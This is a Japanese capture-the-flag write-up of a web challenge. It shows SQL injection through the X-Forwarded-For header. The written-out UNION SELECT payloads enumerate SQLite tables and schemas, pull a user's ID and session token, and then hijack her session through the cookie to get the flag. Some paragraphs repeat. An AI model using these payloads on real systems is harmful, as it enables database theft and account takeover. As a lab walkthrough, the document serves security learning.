Category:Web Security
Level:hard
Points:200
Points
Maria is the only person who can view the flag
URLにアクセスします。Cookieを削除した状態でアクセスすると次のようにResponseにSQL文が記載されています。
X-Forwarded-ForタグでIPアドレスを指定してみます。
X-Forwarded-Forとは、HTTPヘッダフィールドの1つであり、ロードバランサなどの機器を経由してWebサーバに接続するクライアントの送信元IPアドレスを特定する際のデファクトスタンダードです。
Fiddlerでリクエストを編集して送信します。
X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
エラーメッセージが返ってきました。SQLインジェクションができそうです。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
2つのテーブル名が取得できました。' union select 1, 2, 3, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
PHPSESSID=nxf8_users%2Cnxf8_sessions;
それでは、nxf8_usersテーブルの列名を取得したいと思います。以下のSQL文を指定します。
次のようにCREATE TABLE文を取得できました。' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_users'--
PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29;
パーセントエンコードを復号すると次のようになります。
CREATE TABLE "nxf8_users" ("id" int(10) NOT NULL,"name" varchar(255) NOT NULL,"email" varchar(255) NOT NULL,"password" varchar(255) NOT NULL,"role" varchar(100) DEFAULT NULL);
同様にnxf8_sessionsテーブルのCREATE TABLE文を取得します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_sessions'--
以下の情報が取得できます。
CREATE TABLE "nxf8_sessions" ("id" int(10) NOT NULL,"user_id" varchar(255) NOT NULL,"ip_address" varchar(255) NOT NULL,"session_id" varchar(255) NOT NULL);
nxf8_usersテーブルから"Maria"の情報を取得します。
' union select 1, 2, 3, id FROM nxf8_users where name = 'Maria'--
次の情報が取得できます。MariaのIDは5です。
PHPSESSID=5;
nxf8_sessionsテーブルからuser_id=5の情報を取得します。
' union select 1, 2, 3, session_id FROM nxf8_sessions where user_id = '5'--
次の情報が取得できます。
PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
それではリクエストのクッキーに次の値を設定して要求を投げてみます。
Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
aj9dhAdf4